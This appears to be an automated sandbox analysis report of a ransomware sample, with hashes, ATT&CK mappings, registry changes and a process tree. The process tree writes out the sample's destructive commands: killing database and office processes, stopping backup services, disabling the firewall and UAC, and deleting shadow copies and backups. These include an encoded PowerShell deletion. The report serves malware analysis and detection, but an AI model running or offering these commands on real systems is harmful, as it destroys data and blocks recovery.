99a0753cba25425651e42ff7673506aa4090a03d8398f702e41d80ca5c2b212e

General

Target

1069-cc87764d70827118862689d1630efc72547f97aa.exe
Size

3.2MB
MD5

f17e50158a1faf71deb3a6e8b4f3271f
SHA1

cc87764d70827118862689d1630efc72547f97aa
SHA256

99a0753cba25425651e42ff7673506aa4090a03d8398f702e41d80ca5c2b212e
SHA512

e60404ec7d526dd522ca6347c1fbc87f9783b0c0fa31ca4b8aaa656718a8ceaaf26ec8259a31df58ddb0500df8b7a0f63ad7aca652860d50baf4bc66fdd7643b

Score

10^/10

evasion ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490
Disables Task Manager via registry modification
evasion
Drops file in Drivers directory 1 IoCs

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description ioc process

File created C:\Windows\System32\drivers\etc\host 1069-cc87764d70827118862689d1630efc72547f97aa.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

description	ioc	process
File created	C:\Windows\System32\drivers\etc\host	1069-cc87764d70827118862689d1630efc72547f97aa.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\@Adsız@.jpg"	1069-cc87764d70827118862689d1630efc72547f97aa.exe

Drops file in Windows directory 1 IoCs

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description ioc process

File created C:\Windows\Please Read ME!!!.log 1069-cc87764d70827118862689d1630efc72547f97aa.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Interacts with shadow copies 2 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid process

748 vssadmin.exe
2320 vssadmin.exe
3860 vssadmin.exe
4052 vssadmin.exe

description	ioc	process
File created	C:\Windows\Please Read ME!!!.log	1069-cc87764d70827118862689d1630efc72547f97aa.exe

pid	process
748	vssadmin.exe
2320	vssadmin.exe
3860	vssadmin.exe
4052	vssadmin.exe

Kills process with taskkill 14 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
4260	taskkill.exe
4200	taskkill.exe
4808	taskkill.exe
3508	taskkill.exe
4552	taskkill.exe
4248	taskkill.exe
4912	taskkill.exe
2456	taskkill.exe
4240	taskkill.exe
1968	taskkill.exe
3548	taskkill.exe
680	taskkill.exe
4680	taskkill.exe
4996	taskkill.exe

Modifies Control Panel 2 IoCs

evasion

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\desktop	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\TileWallpaper = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe

Runs net.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2488 powershell.exe
2488 powershell.exe
2488 powershell.exe

pid	process
2488	powershell.exe
2488	powershell.exe
2488	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

taskkill.exevssvc.exetaskkill.exeWMIC.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	680	taskkill.exe
Token: SeBackupPrivilege	4140	vssvc.exe
Token: SeRestorePrivilege	4140	vssvc.exe
Token: SeAuditPrivilege	4140	vssvc.exe
Token: SeDebugPrivilege	4200	taskkill.exe
Token: SeIncreaseQuotaPrivilege	4300	WMIC.exe
Token: SeSecurityPrivilege	4300	WMIC.exe
Token: SeTakeOwnershipPrivilege	4300	WMIC.exe
Token: SeLoadDriverPrivilege	4300	WMIC.exe
Token: SeSystemProfilePrivilege	4300	WMIC.exe
Token: SeSystemtimePrivilege	4300	WMIC.exe
Token: SeProfSingleProcessPrivilege	4300	WMIC.exe
Token: SeIncBasePriorityPrivilege	4300	WMIC.exe
Token: SeCreatePagefilePrivilege	4300	WMIC.exe
Token: SeBackupPrivilege	4300	WMIC.exe
Token: SeRestorePrivilege	4300	WMIC.exe
Token: SeShutdownPrivilege	4300	WMIC.exe
Token: SeDebugPrivilege	4300	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4300	WMIC.exe
Token: SeRemoteShutdownPrivilege	4300	WMIC.exe
Token: SeUndockPrivilege	4300	WMIC.exe
Token: SeManageVolumePrivilege	4300	WMIC.exe
Token: 33	4300	WMIC.exe
Token: 34	4300	WMIC.exe
Token: 35	4300	WMIC.exe
Token: 36	4300	WMIC.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeIncreaseQuotaPrivilege	4348	WMIC.exe
Token: SeSecurityPrivilege	4348	WMIC.exe
Token: SeTakeOwnershipPrivilege	4348	WMIC.exe
Token: SeLoadDriverPrivilege	4348	WMIC.exe
Token: SeSystemProfilePrivilege	4348	WMIC.exe
Token: SeSystemtimePrivilege	4348	WMIC.exe
Token: SeProfSingleProcessPrivilege	4348	WMIC.exe
Token: SeIncBasePriorityPrivilege	4348	WMIC.exe
Token: SeCreatePagefilePrivilege	4348	WMIC.exe
Token: SeBackupPrivilege	4348	WMIC.exe
Token: SeRestorePrivilege	4348	WMIC.exe
Token: SeShutdownPrivilege	4348	WMIC.exe
Token: SeDebugPrivilege	4348	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4348	WMIC.exe
Token: SeRemoteShutdownPrivilege	4348	WMIC.exe
Token: SeUndockPrivilege	4348	WMIC.exe
Token: SeManageVolumePrivilege	4348	WMIC.exe
Token: 33	4348	WMIC.exe
Token: 34	4348	WMIC.exe
Token: 35	4348	WMIC.exe
Token: 36	4348	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4300	WMIC.exe
Token: SeSecurityPrivilege	4300	WMIC.exe
Token: SeTakeOwnershipPrivilege	4300	WMIC.exe
Token: SeLoadDriverPrivilege	4300	WMIC.exe
Token: SeSystemProfilePrivilege	4300	WMIC.exe
Token: SeSystemtimePrivilege	4300	WMIC.exe
Token: SeProfSingleProcessPrivilege	4300	WMIC.exe
Token: SeIncBasePriorityPrivilege	4300	WMIC.exe
Token: SeCreatePagefilePrivilege	4300	WMIC.exe
Token: SeBackupPrivilege	4300	WMIC.exe
Token: SeRestorePrivilege	4300	WMIC.exe
Token: SeShutdownPrivilege	4300	WMIC.exe
Token: SeDebugPrivilege	4300	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4300	WMIC.exe
Token: SeRemoteShutdownPrivilege	4300	WMIC.exe
Token: SeUndockPrivilege	4300	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

NOTEPAD.EXE

pid process

4304 NOTEPAD.EXE

pid	process
4304	NOTEPAD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.execmd.execmd.execmd.execmd.exenet.execmd.execmd.execmd.execmd.exenet.exe

description	pid	process	target process
PID 2184 wrote to memory of 1536	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 1536	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 1536	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2172	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2172	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2172	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2344	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2344	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2344	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2472	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2472	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2472	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2804	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2804	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2804	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2912	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2912	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 2912	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 3672	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 3672	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 3672	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 3764	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 3764	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2184 wrote to memory of 3764	2184	1069-cc87764d70827118862689d1630efc72547f97aa.exe	cmd.exe
PID 2172 wrote to memory of 3684	2172	cmd.exe	net.exe
PID 2172 wrote to memory of 3684	2172	cmd.exe	net.exe
PID 2172 wrote to memory of 3684	2172	cmd.exe	net.exe
PID 2472 wrote to memory of 748	2472	cmd.exe	vssadmin.exe
PID 2472 wrote to memory of 748	2472	cmd.exe	vssadmin.exe
PID 2472 wrote to memory of 748	2472	cmd.exe	vssadmin.exe
PID 1536 wrote to memory of 680	1536	cmd.exe	taskkill.exe
PID 1536 wrote to memory of 680	1536	cmd.exe	taskkill.exe
PID 1536 wrote to memory of 680	1536	cmd.exe	taskkill.exe
PID 2804 wrote to memory of 2320	2804	cmd.exe	vssadmin.exe
PID 2804 wrote to memory of 2320	2804	cmd.exe	vssadmin.exe
PID 2804 wrote to memory of 2320	2804	cmd.exe	vssadmin.exe
PID 3684 wrote to memory of 1568	3684	net.exe	net1.exe
PID 3684 wrote to memory of 1568	3684	net.exe	net1.exe
PID 3684 wrote to memory of 1568	3684	net.exe	net1.exe
PID 3672 wrote to memory of 3860	3672	cmd.exe	vssadmin.exe
PID 3672 wrote to memory of 3860	3672	cmd.exe	vssadmin.exe
PID 3672 wrote to memory of 3860	3672	cmd.exe	vssadmin.exe
PID 2344 wrote to memory of 3936	2344	cmd.exe	netsh.exe
PID 2344 wrote to memory of 3936	2344	cmd.exe	netsh.exe
PID 2344 wrote to memory of 3936	2344	cmd.exe	netsh.exe
PID 2912 wrote to memory of 2488	2912	cmd.exe	powershell.exe
PID 2912 wrote to memory of 2488	2912	cmd.exe	powershell.exe
PID 2912 wrote to memory of 2488	2912	cmd.exe	powershell.exe
PID 3764 wrote to memory of 4052	3764	cmd.exe	vssadmin.exe
PID 3764 wrote to memory of 4052	3764	cmd.exe	vssadmin.exe
PID 3764 wrote to memory of 4052	3764	cmd.exe	vssadmin.exe
PID 1536 wrote to memory of 4200	1536	cmd.exe	taskkill.exe
PID 1536 wrote to memory of 4200	1536	cmd.exe	taskkill.exe
PID 1536 wrote to memory of 4200	1536	cmd.exe	taskkill.exe
PID 2172 wrote to memory of 4208	2172	cmd.exe	net.exe
PID 2172 wrote to memory of 4208	2172	cmd.exe	net.exe
PID 2172 wrote to memory of 4208	2172	cmd.exe	net.exe
PID 4208 wrote to memory of 4236	4208	net.exe	net1.exe
PID 4208 wrote to memory of 4236	4208	net.exe	net1.exe
PID 4208 wrote to memory of 4236	4208	net.exe	net1.exe
PID 3672 wrote to memory of 4300	3672	cmd.exe	WMIC.exe
PID 3672 wrote to memory of 4300	3672	cmd.exe	WMIC.exe
PID 3672 wrote to memory of 4300	3672	cmd.exe	WMIC.exe
PID 3764 wrote to memory of 4348	3764	cmd.exe	WMIC.exe

System policy modification 1 TTPs 17 IoCs

evasion

Modify Registry

T1112

Processes:

1069-cc87764d70827118862689d1630efc72547f97aa.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "3"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\dontdisplaylastusername = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\undockwithoutlogon = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "5"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\scforceoption = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "5"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	1069-cc87764d70827118862689d1630efc72547f97aa.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths = "1"	1069-cc87764d70827118862689d1630efc72547f97aa.exe

C:\Users\Admin\AppData\Local\Temp\1069-cc87764d70827118862689d1630efc72547f97aa.exe
"C:\Users\Admin\AppData\Local\Temp\1069-cc87764d70827118862689d1630efc72547f97aa.exe"
1⤵
- Drops file in Drivers directory
- Checks whether UAC is enabled
- Sets desktop wallpaper using registry
- Drops file in Windows directory
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2184

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C taskkill /f /im sql.* & taskkill /f /im winword.* & taskkill /f /im wordpad.* & taskkill /f /im outlook.* & taskkill /f /im thunderbird.* & taskkill /f /im oracle.* & taskkill /f /im excel.* & taskkill /f /im onenote.* & taskkill /f /im virtualboxvm.* & taskkill /f /im node.* & taskkill /f /im QBW32.* & taskkill /f /im WBGX.* & taskkill /f /im Teams.* & taskkill /f /im Flow.*
2⤵
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sql.*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:680

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im winword.*
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4200

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im wordpad.*
3⤵
- Kills process with taskkill
PID:4552

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im outlook.*
3⤵
- Kills process with taskkill
PID:4680

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thunderbird.*
3⤵
- Kills process with taskkill
PID:4808

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im oracle.*
3⤵
- Kills process with taskkill
PID:4912

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im excel.*
3⤵
- Kills process with taskkill
PID:4996

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im onenote.*
3⤵
- Kills process with taskkill
PID:1968

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im virtualboxvm.*
3⤵
- Kills process with taskkill
PID:2456

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im node.*
3⤵
- Kills process with taskkill
PID:3508

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im QBW32.*
3⤵
- Kills process with taskkill
PID:4240

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im WBGX.*
3⤵
- Kills process with taskkill
PID:4248

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Teams.*
3⤵
- Kills process with taskkill
PID:3548

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Flow.*
3⤵
- Kills process with taskkill
PID:4260

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C net stop DbxSvc & net stop OracleXETNSListener & net stop OracleServiceXE & net stop AcrSch2Svc & net stop AcronisAgent & net stop Apache2.4 & net stop SQLWriter & net stop MSSQL$SQLEXPRESS & net stop MSSQLServerADHelper100 & net stop MongoDB & net stop SQLAgent$SQLEXPRESS & net stop SQLBrowser & net stop CobianBackup11 & net stop cbVSCService11 & net stop QBCFMontorService & net stop QBVSS
2⤵
- Suspicious use of WriteProcessMemory
PID:2172

C:\Windows\SysWOW64\net.exe
net stop DbxSvc
3⤵
- Suspicious use of WriteProcessMemory
PID:3684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DbxSvc
4⤵
PID:1568

C:\Windows\SysWOW64\net.exe
net stop OracleXETNSListener
3⤵
- Suspicious use of WriteProcessMemory
PID:4208

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleXETNSListener
4⤵
PID:4236

C:\Windows\SysWOW64\net.exe
net stop OracleServiceXE
3⤵
PID:4416

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleServiceXE
4⤵
PID:4452

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc
3⤵
PID:4520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc
4⤵
PID:4564

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent
3⤵
PID:4612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent
4⤵
PID:4632

C:\Windows\SysWOW64\net.exe
net stop Apache2.4
3⤵
PID:4712

C:\Windows\SysWOW64\net.exe
net stop SQLWriter
3⤵
PID:4768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter
4⤵
PID:4788

C:\Windows\SysWOW64\net.exe
net stop MSSQL$SQLEXPRESS
3⤵
PID:4840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS
4⤵
PID:4860

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100
3⤵
PID:4884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100
4⤵
PID:4900

C:\Windows\SysWOW64\net.exe
net stop MongoDB
3⤵
PID:4956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MongoDB
4⤵
PID:4976

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$SQLEXPRESS
3⤵
PID:5016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS
4⤵
PID:5036

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser
3⤵
PID:5068

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser
4⤵
PID:5092

C:\Windows\SysWOW64\net.exe
net stop CobianBackup11
3⤵
PID:1580

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CobianBackup11
4⤵
PID:3948

C:\Windows\SysWOW64\net.exe
net stop cbVSCService11
3⤵
PID:4224

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop cbVSCService11
4⤵
PID:1280

C:\Windows\SysWOW64\net.exe
net stop QBCFMontorService
3⤵
PID:4100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBCFMontorService
4⤵
PID:2132

C:\Windows\SysWOW64\net.exe
net stop QBVSS
3⤵
PID:2320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBVSS
4⤵
PID:3460

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C netsh firewall set opmode disable
2⤵
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\SysWOW64\netsh.exe
netsh firewall set opmode disable
3⤵
PID:3936

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
2⤵
- Suspicious use of WriteProcessMemory
PID:2472

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=C: /on=C: /maxsize=401MB
3⤵
- Interacts with shadow copies
PID:748

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
2⤵
- Suspicious use of WriteProcessMemory
PID:2804

C:\Windows\SysWOW64\vssadmin.exe
vssadmin resize shadowstorage /for=C: /on=C: /maxsize=unbounded
3⤵
- Interacts with shadow copies
PID:2320

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wbadmin delete systemstatebackup & wbadmin delete systemstatebackup -keepversions:0 & wbadmin delete backup
2⤵
- Suspicious use of WriteProcessMemory
PID:3672

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:3860

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4300

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wbadmin delete systemstatebackup & wbadmin delete systemstatebackup -keepversions:0 & wbadmin delete backup
2⤵
- Suspicious use of WriteProcessMemory
PID:3764

C:\Windows\SysWOW64\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:4052

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4348

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious use of WriteProcessMemory
PID:2912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Apache2.4
1⤵
PID:4736

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Please Read ME!!!.log
1⤵
- Suspicious use of FindShellTrayWindow
PID:4304

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Bypass User Account Control

1

T1088

Defense Evasion

Bypass User Account Control

1

T1088

Disabling Security Tools

1

T1089

Modify Registry

3

T1112

File Deletion

2

T1107

Credential Access

Discovery

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

2

T1490

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\Please Read ME!!!.log
MD5
81051bcc2cf1bedf378224b0a93e2877

SHA1
ba8ab5a0280b953aa97435ff8946cbcbb2755a27

SHA256
7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6

SHA512
1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d

Download Submit
memory/680-125-0x0000000000000000-mapping.dmp

Download
memory/748-124-0x0000000000000000-mapping.dmp

Download
memory/1280-182-0x0000000000000000-mapping.dmp

Download
memory/1536-114-0x0000000000000000-mapping.dmp

Download
memory/1568-127-0x0000000000000000-mapping.dmp

Download
memory/1580-178-0x0000000000000000-mapping.dmp

Download
memory/1968-177-0x0000000000000000-mapping.dmp

Download
memory/2132-185-0x0000000000000000-mapping.dmp

Download
memory/2172-115-0x0000000000000000-mapping.dmp

Download
memory/2184-122-0x0000000000840000-0x000000000098A000-memory.dmp

Filesize
1.3MB

Download
memory/2320-126-0x0000000000000000-mapping.dmp

Download
memory/2320-186-0x0000000000000000-mapping.dmp

Download
memory/2344-116-0x0000000000000000-mapping.dmp

Download
memory/2456-180-0x0000000000000000-mapping.dmp

Download
memory/2472-117-0x0000000000000000-mapping.dmp

Download
memory/2488-192-0x0000000008AA0000-0x0000000008AA1000-memory.dmp

Filesize
4KB

Download
memory/2488-154-0x0000000007AB0000-0x0000000007AB1000-memory.dmp

Filesize
4KB

Download
memory/2488-134-0x0000000000E70000-0x0000000000E71000-memory.dmp

Filesize
4KB

Download
memory/2488-135-0x0000000006DD0000-0x0000000006DD1000-memory.dmp

Filesize
4KB

Download
memory/2488-130-0x0000000000000000-mapping.dmp

Download
memory/2488-159-0x0000000007D80000-0x0000000007D81000-memory.dmp

Filesize
4KB

Download
memory/2488-155-0x0000000008000000-0x0000000008001000-memory.dmp

Filesize
4KB

Download
memory/2488-201-0x0000000000DD3000-0x0000000000DD4000-memory.dmp

Filesize
4KB

Download
memory/2488-191-0x0000000008B40000-0x0000000008B41000-memory.dmp

Filesize
4KB

Download
memory/2488-141-0x0000000006BF0000-0x0000000006BF1000-memory.dmp

Filesize
4KB

Download
memory/2488-142-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

Filesize
4KB

Download
memory/2488-143-0x0000000000DD2000-0x0000000000DD3000-memory.dmp

Filesize
4KB

Download
memory/2488-144-0x00000000075E0000-0x00000000075E1000-memory.dmp

Filesize
4KB

Download
